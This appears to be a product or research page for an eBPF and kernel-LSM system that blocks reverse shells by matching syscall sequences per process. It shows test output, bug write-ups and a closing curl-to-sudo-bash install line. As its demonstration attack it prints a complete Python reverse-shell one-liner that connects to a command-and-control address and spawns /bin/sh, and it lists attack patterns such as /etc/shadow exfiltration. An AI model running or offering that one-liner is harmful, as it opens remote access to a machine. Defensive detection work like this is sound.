Skip to content
Research

This reverse shell
never executed

eBPF tracks syscall sequences per-PID inside the kernel. When the accumulated pattern matches a reverse shell, the LSM hook denies execve() and returns EPERM. The attack never reaches userland.

8/8 patterns blocked before execve loads process image
Production server. Zero false positives.

Why this is different

No userspace detection. The check runs inside the kernel's own execution path.
No delay. The LSM hook fires during execve(), before the binary loads into memory.
No signatures. Patterns match syscall categories, not specific exploits or payloads.
No database. Eight bitwise AND operations. Total cost: ~10 nanoseconds.
No escape. The kernel denies execution. The shell binary never starts.

What happens when someone tries a reverse shell

This is real output from our production server.

The attack
attacker@compromised:~$
$ python3 -c '
import socket, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.1", 4444)) # connect to C2
os.dup2(s.fileno(), 0) # redirect stdin
os.dup2(s.fileno(), 1) # redirect stdout
os.execvp("/bin/sh", ["/bin/sh"]) # spawn shell
'
 
PermissionError: [Errno 1] Operation not permitted

The shell never started. execve() returned EPERM. Without this system, that would be a live shell with full access.

What the kernel tracked
eBPF PID_CHAIN map — per-PID bit accumulation
PID 4521 flags: 0x00 (clean)
 
connect() → flags: 0x01 [SOCKET]
dup2(fd,0) → flags: 0x03 [SOCKET | DUP_STDIN]
dup2(fd,1) → flags: 0x07 [SOCKET | DUP_STDIN | DUP_STDOUT]
 
execve() → LSM check: 0x07 & REVERSE_SHELL == match
→ return -EPERM
 
/bin/sh never loaded into memory. Process stays in current state.

Each syscall sets one bit. The check is a single bitwise AND per pattern. 8 patterns, ~10ns total. The overhead is zero.

What the operator gets (3 seconds later)
CRITICAL: Kill chain blocked
python3 (PID 4521) attempted to run /bin/sh after accumulating kill chain flags (connect + dup2 + dup2). Blocked at kernel level. Process killed. C2 IP blocked via XDP. Forensics captured.
Pattern: REVERSE_SHELLAI Confidence: 0.95Response: kill + XDP block + mesh broadcast

The kernel blocks the attack in 0ms. The AI triages in ~2s. Telegram notification in ~3s. Mesh network broadcasts the block to all peer servers. Fully autonomous.

"A reverse shell must call connect(), dup2(), and execve(). There is no alternative path through the kernel. We track the sequence per-PID and block at execve. The attacker's shell never starts."

8 patterns. All tested. All blocking.

Production server, kernel 6.8, aarch64. Real attack traffic. Not a lab.

ubuntu@production:~$ python3 test_killchain.py
REVERSE_SHELL connect + dup2(0) + dup2(1) + execvp BLOCKED ✅
BIND_SHELL bind + listen + dup2(0) + dup2(1) + execvp BLOCKED ✅
CODE_INJECT mprotect(RWX) + ptrace(ATTACH) + execvp BLOCKED ✅
EXPLOIT_SHELL mprotect(RWX) + dup2(0) + dup2(1) + execvp BLOCKED ✅
INJECT_SHELL ptrace(ATTACH) + dup2(0) + execvp BLOCKED ✅
EXPLOIT_C2 mprotect(RWX) + connect + execvp BLOCKED ✅
FULL_EXPLOIT mprotect(RWX) + ptrace + connect + execvp BLOCKED ✅
DATA_EXFIL openat(/etc/shadow) + connect + execvp BLOCKED ✅
 
8/8 PASS — zero false positives — ~81 MB total RAM

Why Falco, Tetragon, and Tracee can't do this

They detect syscalls. We detect sequences.

Existing tools

"Process called connect()" is not an alert. "Process opened /etc/shadow" is not an alert. Each syscall is normal in isolation. The attack is the combination.

Falco evaluates per-event rules in userspace. Tetragon can kill but not correlate. Tracee signatures run in Go with millisecond latency.

This system

eBPF sets one bit per syscall category. At execve(), the LSM hook checks if the accumulated bits match an attack pattern. One bitwise AND per pattern.

No userspace. No latency. No database. The check runs inside the kernel's own execution path.

5 bugs we found that no unit test would catch

The technique is simple. Making it work in production is not.

01
Chain flags after noise filters
5 of 7 handlers set the kill chain flag after the process allowlist check. Rename your binary to 'sshd' and the entire detection disappears.
02
String read on binary data
bpf_probe_read_user_str_bytes stopped at the null byte in sockaddr_in (AF_INET = 0x0002). Port and address always read as zero. The bind handler silently skipped every connection.
03
dup2 doesn't exist on aarch64
ARM Linux only has dup3. The handler silently failed to attach. No DUP flags were ever set on our production server. Reverse shell detection was completely broken.
04
Stale BPF map pin
After sensor restart, the LSM read from a new map while the agent updated the old dead map via the stale pin file. Enforcement appeared enabled but wasn't.
05
Ghost blocks
AbuseIPDB auto-blocker marked IPs as blocked before checking if the firewall rule succeeded. A real attacker (144.31.137.41) was detected 5 times but never actually blocked.

Each bug was found on a live server receiving real attacks. The paper documents all fixes. The code is source-available on GitHub.

Try it on your server

Install. Enable LSM. Try to spawn a reverse shell. The kernel will block it.

curl -fsSL https://innerwarden.com/install | sudo bash